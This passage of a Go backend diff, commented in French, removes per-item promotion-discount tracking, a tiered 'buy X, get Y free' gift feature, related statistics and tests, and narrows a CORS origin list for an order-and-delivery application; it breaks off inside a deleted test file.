"is_reward": row.IsReward, "reward_pool_key": row.RewardPoolKey,
|
||||||
"client_username": row.ClientUsername, "client_nom": row.ClientNom,
|
"client_username": row.ClientUsername, "client_nom": row.ClientNom,
|
||||||
"client_prenom": row.ClientPrenom, "client_telephone": row.ClientTelephone,
|
"client_prenom": row.ClientPrenom, "client_telephone": row.ClientTelephone,
|
||||||
|
|||||||
@@ -55,7 +55,6 @@ type basketItem struct {
|
|||||||
Price float64 `gorm:"column:price"`
|
Price float64 `gorm:"column:price"`
|
||||||
IsReward bool `gorm:"column:is_reward"`
|
IsReward bool `gorm:"column:is_reward"`
|
||||||
RewardPoolKey string `gorm:"column:reward_pool_key"`
|
RewardPoolKey string `gorm:"column:reward_pool_key"`
|
||||||
PromoDiscount float64 `gorm:"column:promo_discount"`
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// validateCommandStatus vérifie si le statut est valide
|
// validateCommandStatus vérifie si le statut est valide
|
||||||
@@ -110,7 +109,7 @@ func (d *Database) CreateCommandWithAddress(username, deliveryAddress string) (*
|
|||||||
// bloque ici puis échoue proprement ("panier vide") une fois le premier
|
// bloque ici puis échoue proprement ("panier vide") une fois le premier
|
||||||
// passage terminé, au lieu de créer une commande fantôme.
|
// passage terminé, au lieu de créer une commande fantôme.
|
||||||
var basketItems []basketItem
|
var basketItems []basketItem
|
||||||
if err := tx.Raw(`SELECT product_id, quantity, price, is_reward, reward_pool_key, promo_discount FROM baskets WHERE username = ? FOR UPDATE`, username).Scan(&basketItems).Error; err != nil {
|
if err := tx.Raw(`SELECT product_id, quantity, price, is_reward, reward_pool_key FROM baskets WHERE username = ? FOR UPDATE`, username).Scan(&basketItems).Error; err != nil {
|
||||||
return fmt.Errorf("erreur récupération panier: %w", err)
|
return fmt.Errorf("erreur récupération panier: %w", err)
|
||||||
}
|
}
|
||||||
if len(basketItems) == 0 {
|
if len(basketItems) == 0 {
|
||||||
@@ -163,7 +162,6 @@ func (d *Database) CreateCommandWithAddress(username, deliveryAddress string) (*
|
|||||||
Prix: item.Price,
|
Prix: item.Price,
|
||||||
IsReward: item.IsReward,
|
IsReward: item.IsReward,
|
||||||
RewardPoolKey: item.RewardPoolKey,
|
RewardPoolKey: item.RewardPoolKey,
|
||||||
PromoDiscount: item.PromoDiscount,
|
|
||||||
ClientUsername: username,
|
ClientUsername: username,
|
||||||
ClientNom: clientNom,
|
ClientNom: clientNom,
|
||||||
ClientPrenom: clientPrenom,
|
ClientPrenom: clientPrenom,
|
||||||
|
|||||||
@@ -1,59 +0,0 @@
|
|||||||
package db
|
|
||||||
|
|
||||||
import "gestion/models"
|
|
||||||
|
|
||||||
// ResolveFreeGift retourne la quantité offerte (du même produit) pour un
|
|
||||||
// produit, sa catégorie catalogue et une quantité commandée donnés — le seuil
|
|
||||||
// le plus élevé (BuyQuantity) atteint par la quantité commandée est retenu,
|
|
||||||
// tous seuils confondus pour ce produit (ex: seuils 10g→+1g et 20g→+3g, une
|
|
||||||
// commande de 25g retient +3g, pas +1g).
|
|
||||||
func ResolveFreeGift(settings *models.AppSettings, productID int, category string, quantity float64) float64 {
|
|
||||||
if settings == nil || !settings.FreeGiftsEnabled {
|
|
||||||
return 0
|
|
||||||
}
|
|
||||||
|
|
||||||
var bestBuy, bestFree float64
|
|
||||||
found := false
|
|
||||||
consider := func(tiers []models.FreeGiftTier) {
|
|
||||||
for _, t := range tiers {
|
|
||||||
if t.BuyQuantity <= 0 || t.FreeQuantity <= 0 || quantity < t.BuyQuantity {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
if !found || t.BuyQuantity > bestBuy {
|
|
||||||
bestBuy, bestFree = t.BuyQuantity, t.FreeQuantity
|
|
||||||
found = true
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
for _, g := range settings.FreeGifts {
|
|
||||||
if g.Category != category {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
if g.AllProducts {
|
|
||||||
consider(g.Tiers)
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
for _, pq := range g.Products {
|
|
||||||
if pq.ProductID == productID {
|
|
||||||
consider(pq.Tiers)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if !found {
|
|
||||||
return 0
|
|
||||||
}
|
|
||||||
return bestFree
|
|
||||||
}
|
|
||||||
|
|
||||||
// ResolveFreeGiftQuantity lit les settings courants et applique
|
|
||||||
// ResolveFreeGift — wrapper pratique pour les appelants qui n'ont pas déjà
|
|
||||||
// les settings sous la main (même style que ApplyPromotionToPrice).
|
|
||||||
func (d *Database) ResolveFreeGiftQuantity(productID int, category string, quantity float64) float64 {
|
|
||||||
settings, err := d.GetSettings()
|
|
||||||
if err != nil {
|
|
||||||
return 0
|
|
||||||
}
|
|
||||||
return ResolveFreeGift(&settings, productID, category, quantity)
|
|
||||||
}
|
|
||||||
@@ -140,20 +140,6 @@ func InitDB() *Database {
|
|||||||
log.Fatalf("❌ Erreur migration command_items.reward_pool_key: %v", err)
|
log.Fatalf("❌ Erreur migration command_items.reward_pool_key: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
// Migration: baskets.promo_discount + command_items.promo_discount —
|
|
||||||
// montant (en €) économisé par une promotion de prix sur cette ligne,
|
|
||||||
// capturé une fois pour toutes au moment de AddToBasket (voir
|
|
||||||
// db_basket.go) puis copié tel quel au checkout, pour permettre des
|
|
||||||
// statistiques historiques fiables même si la config de promo change
|
|
||||||
// ensuite (contrairement à un recalcul a posteriori sur les settings
|
|
||||||
// courants, qui donnerait un résultat faux pour les anciennes commandes).
|
|
||||||
if _, err = database.Exec(`ALTER TABLE baskets ADD COLUMN IF NOT EXISTS promo_discount NUMERIC(10,2) NOT NULL DEFAULT 0`); err != nil {
|
|
||||||
log.Fatalf("❌ Erreur migration baskets.promo_discount: %v", err)
|
|
||||||
}
|
|
||||||
if _, err = database.Exec(`ALTER TABLE command_items ADD COLUMN IF NOT EXISTS promo_discount NUMERIC(10,2) NOT NULL DEFAULT 0`); err != nil {
|
|
||||||
log.Fatalf("❌ Erreur migration command_items.promo_discount: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Migration: command_items.quantite INTEGER → NUMERIC(10,3) pour supporter les quantités fractionnaires
|
// Migration: command_items.quantite INTEGER → NUMERIC(10,3) pour supporter les quantités fractionnaires
|
||||||
if _, err = database.Exec(`
|
if _, err = database.Exec(`
|
||||||
DO $$
|
DO $$
|
||||||
|
|||||||
@@ -149,13 +149,6 @@ func (d *Database) GetSettings() (models.AppSettings, error) {
|
|||||||
if err := json.Unmarshal([]byte(row.Value), &promotions); err == nil {
|
if err := json.Unmarshal([]byte(row.Value), &promotions); err == nil {
|
||||||
settings.Promotions = promotions
|
settings.Promotions = promotions
|
||||||
}
|
}
|
||||||
case "free_gifts_enabled":
|
|
||||||
settings.FreeGiftsEnabled = row.Value == "true"
|
|
||||||
case "free_gifts":
|
|
||||||
var freeGifts []models.CategoryFreeGiftConfig
|
|
||||||
if err := json.Unmarshal([]byte(row.Value), &freeGifts); err == nil {
|
|
||||||
settings.FreeGifts = freeGifts
|
|
||||||
}
|
|
||||||
case "referral_enabled":
|
case "referral_enabled":
|
||||||
settings.ReferralEnabled = row.Value == "true"
|
settings.ReferralEnabled = row.Value == "true"
|
||||||
case "referral_amount":
|
case "referral_amount":
|
||||||
@@ -290,27 +283,6 @@ func (d *Database) UpdateSettings(s models.AppSettings) error {
|
|||||||
return fmt.Errorf("erreur sérialisation promotions: %w", err)
|
return fmt.Errorf("erreur sérialisation promotions: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
if s.FreeGifts == nil {
|
|
||||||
s.FreeGifts = []models.CategoryFreeGiftConfig{}
|
|
||||||
}
|
|
||||||
for i := range s.FreeGifts {
|
|
||||||
if s.FreeGifts[i].Tiers == nil {
|
|
||||||
s.FreeGifts[i].Tiers = []models.FreeGiftTier{}
|
|
||||||
}
|
|
||||||
if s.FreeGifts[i].Products == nil {
|
|
||||||
s.FreeGifts[i].Products = []models.FreeGiftProductQuantity{}
|
|
||||||
}
|
|
||||||
for j := range s.FreeGifts[i].Products {
|
|
||||||
if s.FreeGifts[i].Products[j].Tiers == nil {
|
|
||||||
s.FreeGifts[i].Products[j].Tiers = []models.FreeGiftTier{}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
freeGiftsJSON, err := json.Marshal(s.FreeGifts)
|
|
||||||
if err != nil {
|
|
||||||
return fmt.Errorf("erreur sérialisation free_gifts: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
if s.NowPaymentsCurrencies == nil {
|
if s.NowPaymentsCurrencies == nil {
|
||||||
s.NowPaymentsCurrencies = []string{}
|
s.NowPaymentsCurrencies = []string{}
|
||||||
}
|
}
|
||||||
@@ -352,8 +324,6 @@ func (d *Database) UpdateSettings(s models.AppSettings) error {
|
|||||||
{"points_reward", string(rewardJSON)},
|
{"points_reward", string(rewardJSON)},
|
||||||
{"promotions_enabled", boolStr(s.PromotionsEnabled)},
|
{"promotions_enabled", boolStr(s.PromotionsEnabled)},
|
||||||
{"promotions", string(promotionsJSON)},
|
{"promotions", string(promotionsJSON)},
|
||||||
{"free_gifts_enabled", boolStr(s.FreeGiftsEnabled)},
|
|
||||||
{"free_gifts", string(freeGiftsJSON)},
|
|
||||||
{"referral_enabled", boolStr(s.ReferralEnabled)},
|
{"referral_enabled", boolStr(s.ReferralEnabled)},
|
||||||
{"referral_amount", strconv.FormatFloat(s.ReferralAmount, 'f', 2, 64)},
|
{"referral_amount", strconv.FormatFloat(s.ReferralAmount, 'f', 2, 64)},
|
||||||
{"crypto_payment_enabled", boolStr(s.CryptoPaymentEnabled)},
|
{"crypto_payment_enabled", boolStr(s.CryptoPaymentEnabled)},
|
||||||
|
|||||||
@@ -379,39 +379,6 @@ func (d *Database) TotalRevenue(resetAt time.Time) (float64, error) {
|
|||||||
return total, err
|
return total, err
|
||||||
}
|
}
|
||||||
|
|
||||||
// TotalPromoDiscount renvoie le montant total (€) des réductions de prix
|
|
||||||
// accordées par des promotions sur les commandes approuvées, filtré par le
|
|
||||||
// reset "revenus" (même périmètre que TotalRevenue, dont c'est un
|
|
||||||
// sous-indicateur). Basé sur command_items.promo_discount, capturé au moment
|
|
||||||
// de AddToBasket — reflète donc les promos réellement appliquées à l'époque,
|
|
||||||
// pas la config de promotions courante.
|
|
||||||
func (d *Database) TotalPromoDiscount(resetAt time.Time) (float64, error) {
|
|
||||||
where, args := statusFilterClause("c.status = 'approved'", resetAt, "c.created_at")
|
|
||||||
var total float64
|
|
||||||
query := `
|
|
||||||
SELECT COALESCE(SUM(ci.promo_discount), 0)
|
|
||||||
FROM command_items ci
|
|
||||||
JOIN commandes c ON c.id = ci.command_id
|
|
||||||
WHERE ` + where
|
|
||||||
err := d.GDB.Raw(query, args...).Scan(&total).Error
|
|
||||||
return total, err
|
|
||||||
}
|
|
||||||
|
|
||||||
// PromoOrdersCount renvoie le nombre de commandes distinctes (approuvées)
|
|
||||||
// ayant bénéficié d'au moins une réduction de prix promo, filtré par le
|
|
||||||
// reset "revenus".
|
|
||||||
func (d *Database) PromoOrdersCount(resetAt time.Time) (int64, error) {
|
|
||||||
where, args := statusFilterClause("c.status = 'approved'", resetAt, "c.created_at")
|
|
||||||
var count int64
|
|
||||||
query := `
|
|
||||||
SELECT COUNT(DISTINCT ci.command_id)
|
|
||||||
FROM command_items ci
|
|
||||||
JOIN commandes c ON c.id = ci.command_id
|
|
||||||
WHERE ci.promo_discount > 0 AND ` + where
|
|
||||||
err := d.GDB.Raw(query, args...).Scan(&count).Error
|
|
||||||
return count, err
|
|
||||||
}
|
|
||||||
|
|
||||||
// ActiveDaysLast30 renvoie le nombre de jours distincts ayant eu au moins une commande sur 30 jours.
|
// ActiveDaysLast30 renvoie le nombre de jours distincts ayant eu au moins une commande sur 30 jours.
|
||||||
func (d *Database) ActiveDaysLast30(resetAt time.Time) (int64, error) {
|
func (d *Database) ActiveDaysLast30(resetAt time.Time) (int64, error) {
|
||||||
where, args := statusFilterClause("status != 'cancelled'", resetAt, "created_at")
|
where, args := statusFilterClause("status != 'cancelled'", resetAt, "created_at")
|
||||||
|
|||||||
@@ -73,11 +73,10 @@ func GetMyDeliveries(c *gin.Context) {
|
|||||||
itemsSummary := make([]gin.H, len(items))
|
itemsSummary := make([]gin.H, len(items))
|
||||||
for j, item := range items {
|
for j, item := range items {
|
||||||
itemsSummary[j] = gin.H{
|
itemsSummary[j] = gin.H{
|
||||||
"produit": item["produit"],
|
"produit": item["produit"],
|
||||||
"quantite": item["quantite"],
|
"quantite": item["quantite"],
|
||||||
"prix": item["prix"],
|
"prix": item["prix"],
|
||||||
"promo_discount": item["promo_discount"],
|
"is_reward": item["is_reward"],
|
||||||
"is_reward": item["is_reward"],
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -156,11 +155,10 @@ func GetDeliveryDetails(c *gin.Context) {
|
|||||||
itemsSummary := make([]gin.H, len(items))
|
itemsSummary := make([]gin.H, len(items))
|
||||||
for i, item := range items {
|
for i, item := range items {
|
||||||
itemsSummary[i] = gin.H{
|
itemsSummary[i] = gin.H{
|
||||||
"produit": item["produit"],
|
"produit": item["produit"],
|
||||||
"quantite": item["quantite"],
|
"quantite": item["quantite"],
|
||||||
"prix": item["prix"],
|
"prix": item["prix"],
|
||||||
"promo_discount": item["promo_discount"],
|
"is_reward": item["is_reward"],
|
||||||
"is_reward": item["is_reward"],
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -204,20 +204,18 @@ func GetAdminStats(c *gin.Context) {
|
|||||||
|
|
||||||
// Toutes les requêtes sont indépendantes — on les lance en parallèle.
|
// Toutes les requêtes sont indépendantes — on les lance en parallèle.
|
||||||
var (
|
var (
|
||||||
wdRows []models.WeekdayRow
|
wdRows []models.WeekdayRow
|
||||||
dayRows []models.DayRow
|
dayRows []models.DayRow
|
||||||
dayRevRows []models.DayRevenueRow
|
dayRevRows []models.DayRevenueRow
|
||||||
hourRows []models.HourRow
|
hourRows []models.HourRow
|
||||||
prodRows []models.ProductRow
|
prodRows []models.ProductRow
|
||||||
qtyRows []models.QuantityBreakdownRow
|
qtyRows []models.QuantityBreakdownRow
|
||||||
dailyRows []models.DailyProductRow
|
dailyRows []models.DailyProductRow
|
||||||
totalOrders int64
|
totalOrders int64
|
||||||
totalRevenue float64
|
totalRevenue float64
|
||||||
totalPromoDiscount float64
|
dailyTotalOrders int64
|
||||||
promoOrdersCount int64
|
activeDays int64
|
||||||
dailyTotalOrders int64
|
last30Count int64
|
||||||
activeDays int64
|
|
||||||
last30Count int64
|
|
||||||
)
|
)
|
||||||
|
|
||||||
eg, _ := errgroup.WithContext(context.Background())
|
eg, _ := errgroup.WithContext(context.Background())
|
||||||
@@ -238,16 +236,6 @@ func GetAdminStats(c *gin.Context) {
|
|||||||
totalRevenue, err = database.TotalRevenue(filters.ResetRevenus)
|
totalRevenue, err = database.TotalRevenue(filters.ResetRevenus)
|
||||||
return err
|
return err
|
||||||
})
|
})
|
||||||
eg.Go(func() error {
|
|
||||||
var err error
|
|
||||||
totalPromoDiscount, err = database.TotalPromoDiscount(filters.ResetRevenus)
|
|
||||||
return err
|
|
||||||
})
|
|
||||||
eg.Go(func() error {
|
|
||||||
var err error
|
|
||||||
promoOrdersCount, err = database.PromoOrdersCount(filters.ResetRevenus)
|
|
||||||
return err
|
|
||||||
})
|
|
||||||
eg.Go(func() error {
|
eg.Go(func() error {
|
||||||
var err error
|
var err error
|
||||||
dailyTotalOrders, err = database.DailyOrdersCount()
|
dailyTotalOrders, err = database.DailyOrdersCount()
|
||||||
@@ -442,13 +430,11 @@ func GetAdminStats(c *gin.Context) {
|
|||||||
|
|
||||||
c.JSON(http.StatusOK, gin.H{
|
c.JSON(http.StatusOK, gin.H{
|
||||||
"summary": gin.H{
|
"summary": gin.H{
|
||||||
"total_orders": totalOrders,
|
"total_orders": totalOrders,
|
||||||
"total_revenue": totalRevenue,
|
"total_revenue": totalRevenue,
|
||||||
"total_promo_discount": totalPromoDiscount,
|
"peak_weekday": peakWeekday,
|
||||||
"promo_orders_count": promoOrdersCount,
|
"top_product": topProductName,
|
||||||
"peak_weekday": peakWeekday,
|
"avg_per_day": avgPerDay,
|
||||||
"top_product": topProductName,
|
|
||||||
"avg_per_day": avgPerDay,
|
|
||||||
},
|
},
|
||||||
"reset_at_commandes": dateFilter(filters.ResetCommandes),
|
"reset_at_commandes": dateFilter(filters.ResetCommandes),
|
||||||
"reset_at_revenus": dateFilter(filters.ResetRevenus),
|
"reset_at_revenus": dateFilter(filters.ResetRevenus),
|
||||||
|
|||||||
@@ -166,7 +166,7 @@ func main() {
|
|||||||
r.Use(sessions.Sessions("mysession", store))
|
r.Use(sessions.Sessions("mysession", store))
|
||||||
|
|
||||||
r.Use(cors.New(cors.Config{
|
r.Use(cors.New(cors.Config{
|
||||||
AllowOrigins: []string{"https://uber-stup.club", "https://5.181.0.112.nip.io", "https://5.181.0.112.nip.io:8080", "https://5.181.0.112.nip.io:8443", "https://mln-uber.club", "http://localhost:5173", "http://5.181.0.112"},
|
AllowOrigins: []string{"https://uber-demo.club"},
|
||||||
AllowMethods: []string{"GET", "POST", "PUT", "DELETE", "OPTIONS", "PATCH"},
|
AllowMethods: []string{"GET", "POST", "PUT", "DELETE", "OPTIONS", "PATCH"},
|
||||||
AllowHeaders: []string{"Origin", "Content-Type", "Accept", "Authorization", "X-Request-ID"},
|
AllowHeaders: []string{"Origin", "Content-Type", "Accept", "Authorization", "X-Request-ID"},
|
||||||
ExposeHeaders: []string{"Content-Length"},
|
ExposeHeaders: []string{"Content-Length"},
|
||||||
|
|||||||
@@ -19,17 +19,16 @@ func (Command) TableName() string { return "commandes" }
|
|||||||
|
|
||||||
// CommandItem représente un produit dans une commande
|
// CommandItem représente un produit dans une commande
|
||||||
type CommandItem struct {
|
type CommandItem struct {
|
||||||
ID int `gorm:"primaryKey;autoIncrement" json:"id"`
|
ID int `gorm:"primaryKey;autoIncrement" json:"id"`
|
||||||
CommandID int `gorm:"column:command_id" json:"command_id"`
|
CommandID int `gorm:"column:command_id" json:"command_id"`
|
||||||
Produit string `gorm:"column:produit" json:"produit"`
|
Produit string `gorm:"column:produit" json:"produit"`
|
||||||
ProductID int `gorm:"column:product_id" json:"product_id"`
|
ProductID int `gorm:"column:product_id" json:"product_id"`
|
||||||
Quantity float64 `gorm:"column:quantite" json:"quantity"`
|
Quantity float64 `gorm:"column:quantite" json:"quantity"`
|
||||||
Price float64 `gorm:"column:prix" json:"price"`
|
Price float64 `gorm:"column:prix" json:"price"`
|
||||||
IsReward bool `gorm:"column:is_reward" json:"is_reward"`
|
IsReward bool `gorm:"column:is_reward" json:"is_reward"`
|
||||||
RewardPoolKey string `gorm:"column:reward_pool_key" json:"reward_pool_key,omitempty"`
|
RewardPoolKey string `gorm:"column:reward_pool_key" json:"reward_pool_key,omitempty"`
|
||||||
PromoDiscount float64 `gorm:"column:promo_discount" json:"promo_discount,omitempty"`
|
CreatedAt time.Time `gorm:"autoCreateTime" json:"created_at"`
|
||||||
CreatedAt time.Time `gorm:"autoCreateTime" json:"created_at"`
|
UpdatedAt time.Time `gorm:"autoUpdateTime" json:"updated_at"`
|
||||||
UpdatedAt time.Time `gorm:"autoUpdateTime" json:"updated_at"`
|
|
||||||
}
|
}
|
||||||
|
|
||||||
type CommandLog struct {
|
type CommandLog struct {
|
||||||
|
|||||||
@@ -3,17 +3,16 @@ package models
|
|||||||
import "time"
|
import "time"
|
||||||
|
|
||||||
type Panier struct {
|
type Panier struct {
|
||||||
ID int `json:"id"`
|
ID int `json:"id"`
|
||||||
Username string `json:"username"`
|
Username string `json:"username"`
|
||||||
ProductID int `json:"product_id"`
|
ProductID int `json:"product_id"`
|
||||||
ProductName string `json:"product_name"`
|
ProductName string `json:"product_name"`
|
||||||
Category string `json:"category"`
|
Category string `json:"category"`
|
||||||
Description string `json:"description"`
|
Description string `json:"description"`
|
||||||
Quantity float64 `json:"quantity"`
|
Quantity float64 `json:"quantity"`
|
||||||
Price float64 `json:"price"`
|
Price float64 `json:"price"`
|
||||||
IsReward bool `json:"is_reward"`
|
IsReward bool `json:"is_reward"`
|
||||||
RewardPoolKey string `json:"reward_pool_key,omitempty"`
|
RewardPoolKey string `json:"reward_pool_key,omitempty"`
|
||||||
PromoDiscount float64 `json:"promo_discount,omitempty"`
|
CreatedAt time.Time `json:"created_at"`
|
||||||
CreatedAt time.Time `json:"created_at"`
|
UpdatedAt time.Time `json:"updated_at,omitempty"`
|
||||||
UpdatedAt time.Time `json:"updated_at,omitempty"`
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -86,39 +86,6 @@ type CategoryPromotionConfig struct {
|
|||||||
Products []PromotionProductQuantity `json:"products"` // produits + quantité individuelle si AllProducts = false
|
Products []PromotionProductQuantity `json:"products"` // produits + quantité individuelle si AllProducts = false
|
||||||
}
|
}
|
||||||
|
|
||||||
// FreeGiftTier définit un seuil d'achat et la quantité offerte associée, du
|
|
||||||
// même produit — plusieurs seuils peuvent coexister pour un même produit
|
|
||||||
// (ex: 10g achetés → 1g offert, 20g achetés → 3g offerts) ; le seuil le plus
|
|
||||||
// élevé atteint par la quantité commandée est retenu (voir ResolveFreeGift).
|
|
||||||
type FreeGiftTier struct {
|
|
||||||
BuyQuantity float64 `json:"buy_quantity"` // quantité à acheter pour déclencher l'offre
|
|
||||||
FreeQuantity float64 `json:"free_quantity"` // quantité offerte du même produit
|
|
||||||
}
|
|
||||||
|
|
||||||
// FreeGiftProductQuantity associe un produit à ses propres seuils
|
|
||||||
// d'achat/offre, pour le cas où une catégorie n'est pas configurée en "tous
|
|
||||||
// les produits" — même logique que PromotionProductQuantity mais pour les
|
|
||||||
// offres quantité achetée/offerte.
|
|
||||||
type FreeGiftProductQuantity struct {
|
|
||||||
ProductID int `json:"product_id"`
|
|
||||||
Tiers []FreeGiftTier `json:"tiers"`
|
|
||||||
}
|
|
||||||
|
|
||||||
// CategoryFreeGiftConfig définit une offre "achetez X, Y offert" (du même
|
|
||||||
// produit) appliquée automatiquement dès que la quantité ajoutée au panier
|
|
||||||
// atteint un seuil configuré — indépendant des points de fidélité et des
|
|
||||||
// promotions (cumulable avec elles).
|
|
||||||
//
|
|
||||||
// Si AllProducts = true, Tiers s'applique uniformément à tous les produits de
|
|
||||||
// la catégorie. Si AllProducts = false, chaque produit sélectionné dans
|
|
||||||
// Products a ses propres seuils (Tiers au niveau catégorie est alors ignoré).
|
|
||||||
type CategoryFreeGiftConfig struct {
|
|
||||||
Category string `json:"category"` // nom de la catégorie
|
|
||||||
AllProducts bool `json:"all_products"` // true = tous les produits de la catégorie
|
|
||||||
Tiers []FreeGiftTier `json:"tiers"` // seuils uniformes si AllProducts = true
|
|
||||||
Products []FreeGiftProductQuantity `json:"products"` // produits + seuils individuels si AllProducts = false
|
|
||||||
}
|
|
||||||
|
|
||||||
// DaySchedule représente les horaires de livraison pour un jour de la semaine
|
// DaySchedule représente les horaires de livraison pour un jour de la semaine
|
||||||
type DaySchedule struct {
|
type DaySchedule struct {
|
||||||
Enabled bool `json:"enabled"`
|
Enabled bool `json:"enabled"`
|
||||||
@@ -174,8 +141,6 @@ type AppSettings struct {
|
|||||||
PointsReward *PointsReward `json:"points_reward"` // récompense globale par palier de points
|
PointsReward *PointsReward `json:"points_reward"` // récompense globale par palier de points
|
||||||
PromotionsEnabled bool `json:"promotions_enabled"` // activer/désactiver les promotions
|
PromotionsEnabled bool `json:"promotions_enabled"` // activer/désactiver les promotions
|
||||||
Promotions []CategoryPromotionConfig `json:"promotions"` // promotions (% de réduction) par catégorie
|
Promotions []CategoryPromotionConfig `json:"promotions"` // promotions (% de réduction) par catégorie
|
||||||
FreeGiftsEnabled bool `json:"free_gifts_enabled"` // activer/désactiver les offres "achetez X, Y offert"
|
|
||||||
FreeGifts []CategoryFreeGiftConfig `json:"free_gifts"` // offres quantité achetée/offerte par catégorie
|
|
||||||
ReferralEnabled bool `json:"referral_enabled"` // activer/désactiver le système de parrainage
|
ReferralEnabled bool `json:"referral_enabled"` // activer/désactiver le système de parrainage
|
||||||
ReferralAmount float64 `json:"referral_amount"` // montant crédité par parrainage
|
ReferralAmount float64 `json:"referral_amount"` // montant crédité par parrainage
|
||||||
CryptoPaymentEnabled bool `json:"crypto_payment_enabled"` // activer/désactiver le paiement crypto
|
CryptoPaymentEnabled bool `json:"crypto_payment_enabled"` // activer/désactiver le paiement crypto
|
||||||
|
|||||||
@@ -1,135 +0,0 @@
|
|||||||
package tests
|
|
||||||
|
|
||||||
import (
|
|
||||||
"encoding/json"
|
|
||||||
"net/http"
|
|
||||||
"net/http/httptest"
|
|
||||||
"testing"
|
|
||||||
|
|
||||||
"gestion/handlers"
|
|
||||||
|
|
||||||
"github.com/gin-gonic/gin"
|
|
||||||
)
|
|
||||||
|
|
||||||
func myDeliveriesContext(username, status string) (*gin.Context, *httptest.ResponseRecorder) {
|
|
||||||
url := "/api/v1/livreur/deliveries"
|
|
||||||
if status != "" {
|
|
||||||
url += "?status=" + status
|
|
||||||
}
|
|
||||||
req := httptest.NewRequest(http.MethodGet, url, nil)
|
|
||||||
rec := httptest.NewRecorder()
|
|
||||||
c, _ := gin.CreateTestContext(rec)
|
|
||||||
c.Request = req
|
|
||||||
c.Set("database", testDB)
|
|
||||||
c.Set("username", username)
|
|
||||||
c.Set("role", "livreur")
|
|
||||||
return c, rec
|
|
||||||
}
|
|
||||||
|
|
||||||
// Le livreur doit voir qu'un article a bénéficié d'une promotion de prix
|
|
||||||
// (promo_discount > 0), pour pouvoir justifier au client un montant total
|
|
||||||
// inférieur au prix catalogue — voir GetDeliveryDetails/GetMyDeliveries
|
|
||||||
// (backend/gestion/handlers/deleviry.go) et GetCommandItems/GetCommandItemsBatch
|
|
||||||
// (backend/gestion/db/db_command_items.go).
|
|
||||||
func TestGetDeliveryDetails_ExposesPromoDiscountPerItem(t *testing.T) {
|
|
||||||
cleanupStockTestData(t)
|
|
||||||
client := newTestClient(t, "delivpromo_client")
|
|
||||||
livreur := newTestClient(t, "delivpromo_livreur")
|
|
||||||
productID := newTestProduct(t, "DelivPromoDiscount", 20)
|
|
||||||
|
|
||||||
// 3g normalement à 50€, facturés 25€ (-50%) : promo_discount = 25€.
|
|
||||||
cmdID := newTestCommandWithItem(t, client, "en_route", livreur, productID, 3, 25)
|
|
||||||
if err := testDB.GDB.Exec(
|
|
||||||
`UPDATE command_items SET promo_discount = 25 WHERE command_id = ? AND product_id = ?`,
|
|
||||||
cmdID, productID,
|
|
||||||
).Error; err != nil {
|
|
||||||
t.Fatalf("mise à jour promo_discount: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
c, rec := deliveryDetailsContext(livreur, cmdID)
|
|
||||||
handlers.GetDeliveryDetails(c)
|
|
||||||
|
|
||||||
if rec.Code != http.StatusOK {
|
|
||||||
t.Fatalf("status HTTP: got=%d body=%s", rec.Code, rec.Body.String())
|
|
||||||
}
|
|
||||||
|
|
||||||
var resp struct {
|
|
||||||
Success bool `json:"success"`
|
|
||||||
Delivery struct {
|
|
||||||
Items []struct {
|
|
||||||
Produit string `json:"produit"`
|
|
||||||
Prix float64 `json:"prix"`
|
|
||||||
PromoDiscount float64 `json:"promo_discount"`
|
|
||||||
} `json:"items"`
|
|
||||||
} `json:"delivery"`
|
|
||||||
}
|
|
||||||
if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil {
|
|
||||||
t.Fatalf("décodage réponse: %v body=%s", err, rec.Body.String())
|
|
||||||
}
|
|
||||||
if !resp.Success || len(resp.Delivery.Items) != 1 {
|
|
||||||
t.Fatalf("réponse inattendue: body=%s", rec.Body.String())
|
|
||||||
}
|
|
||||||
|
|
||||||
item := resp.Delivery.Items[0]
|
|
||||||
if item.PromoDiscount != 25 {
|
|
||||||
t.Errorf("promo_discount doit être exposé au livreur: got=%.2f want=25.00 (body=%s)", item.PromoDiscount, rec.Body.String())
|
|
||||||
}
|
|
||||||
if item.Prix != 25 {
|
|
||||||
t.Errorf("le prix affiché doit rester le prix déjà réduit facturé: got=%.2f want=25.00", item.Prix)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Même vérification côté GetMyDeliveries (liste des livraisons), qui passe
|
|
||||||
// par un chemin de requête différent (GetCommandItemsBatch) que
|
|
||||||
// GetDeliveryDetails (GetCommandItems).
|
|
||||||
func TestGetMyDeliveries_ExposesPromoDiscountPerItem(t *testing.T) {
|
|
||||||
cleanupStockTestData(t)
|
|
||||||
client := newTestClient(t, "delivpromo_list_client")
|
|
||||||
livreur := newTestClient(t, "delivpromo_list_livreur")
|
|
||||||
productID := newTestProduct(t, "DelivPromoListDiscount", 20)
|
|
||||||
|
|
||||||
cmdID := newTestCommandWithItem(t, client, "en_route", livreur, productID, 3, 25)
|
|
||||||
if err := testDB.GDB.Exec(
|
|
||||||
`UPDATE command_items SET promo_discount = 25 WHERE command_id = ? AND product_id = ?`,
|
|
||||||
cmdID, productID,
|
|
||||||
).Error; err != nil {
|
|
||||||
t.Fatalf("mise à jour promo_discount: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
c, rec := myDeliveriesContext(livreur, "")
|
|
||||||
handlers.GetMyDeliveries(c)
|
|
||||||
|
|
||||||
if rec.Code != http.StatusOK {
|
|
||||||
t.Fatalf("status HTTP: got=%d body=%s", rec.Code, rec.Body.String())
|
|
||||||
}
|
|
||||||
|
|
||||||
var resp struct {
|
|
||||||
Success bool `json:"success"`
|
|
||||||
Deliveries []struct {
|
|
